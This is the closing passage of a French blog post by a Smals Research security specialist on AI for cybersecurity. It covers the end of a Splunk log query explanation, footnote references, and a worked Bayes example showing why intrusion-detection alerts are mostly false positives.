  6. table src_ip, dest_ip, country, _raw : Affiche les adresses IP source et destination, le pays de l’adresse source, et la ligne brute du journal.

Ce script nécessite que tu aies une lookup table configurée correctement pour la correspondance des adresses IP aux pays, ce qui n’est pas automatiquement disponible dans Splunk. Il te faudra configurer ou obtenir ces données par toi-même ou utiliser une application Splunk tierce qui offre cette capacité.

Notes

1   https://cordis.europa.eu/project/id/700692

2   Une analyse systématique des publications sur l’utilisation de l’IA pour l’OSINT montre que la cybersécurité représente près de la moitié des publications considérées [7].

3   Les auteurs indiquent un rappel de 90%. En général, le rappel est défini par le nombre de documents pertinents retrouvés au regard du nombre de documents pertinents que possède la base de données.

4   Son modèle utilise des statistiques pour la détection des anomalies (modèle statistique simple, chaîne de Markov et séries temporelles).

5   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

6   https://github.com/GreyDGL/PentestGPT

7   https://www.hackthebox.com/

8   Supposons que dans un journal d’un million d’événements, on estime qu’il y ait 100 événements correspondant réellement à une intrusion. Supposons également qu’un fabriquant nous vende un système de détection d’intrusion dont la sensibilité est de 99,9%, c’est-à-dire qu’il y a un taux de 0,1% de faux négatifs parmi les événements correspondant à de véritables intrusions, et dont la spécificité est également de 99,9% c’est-à-dire qu’il y a un taux de 0,1% de faux positifs parmi les événements ne correspondant pas à des intrusions. Si le logiciel du fabriquant signale une alerte, quelle est alors la probabilité que celle-ci corresponde effectivement à une intrusion ?

Instinctivement, beaucoup diraient « 99,9%. » Pourtant, si l’on dénote I la variable aléatoire correspondant à une intrusion, et A, celle relative à une alerte, il est possible de réécrire les hypothèses ci-dessus de la manière suivante : si P(I)=100/1.000.000, P(AI)=0,999, et PA│¬I)=0,999, alors quelle est la valeur de P(I|A) ? Le théorème de Bayes, nous donne : P(IA)=P(I)⋅P(A|I)/P(A) avec P(A)=P(I)⋅P(AI)+PI)⋅P(AI) et P(A│¬I)=1−PA│¬I)=0,001. Ce qui conduit à 9,08% de probabilité que l’alerte donnée soit effectivement une intrusion et non 99,9% !

9 Une méthode non-paramétrique d’estimation de la densité de probabilité d’une variable aléatoire

10 https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

11 https://falconllm.tii.ae/

_________________________

Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

Leave a Reply

Your email address will not be published. Required fields are marked *